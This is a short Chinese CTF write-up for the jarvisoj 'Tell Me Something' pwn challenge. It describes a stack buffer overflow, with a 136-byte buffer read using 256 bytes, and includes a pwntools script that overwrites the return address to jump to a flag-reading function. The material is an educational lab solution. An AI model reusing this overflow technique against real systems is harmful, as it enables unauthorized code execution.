概述
本来想做其他的平台,但是搜了一下还是这个平台比较适合入门。
题目
Wp
这里首先下载,然后ida打开,看到main函数
main函数说的实际上就是有一个保存的栈大小为136,但是确允许输入256栈大小的内容,这里存在栈溢出的问题。
然后这里可以看到有一个good_gaem
可以看到是读取了一个flag.txt的文件。
那么需要做的就是先覆盖,这里我自己感觉的是,覆盖先将自身拉满,然后加返回地址直接覆盖就行。
最后就是先覆盖136的自身,然后加上good_game的地址即可。
pwntools
from pwn import *
sh = remote("pwn.jarvisoj.com",9876)
data=136*'a'+p64(0x400620)
sh.sendline(data)
sh.interactive()
sh.close()
最后
以上就是无聊小馒头为你收集整理的jarvisoj——Tell Me Something的全部内容,希望文章能够帮你解决jarvisoj——Tell Me Something所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复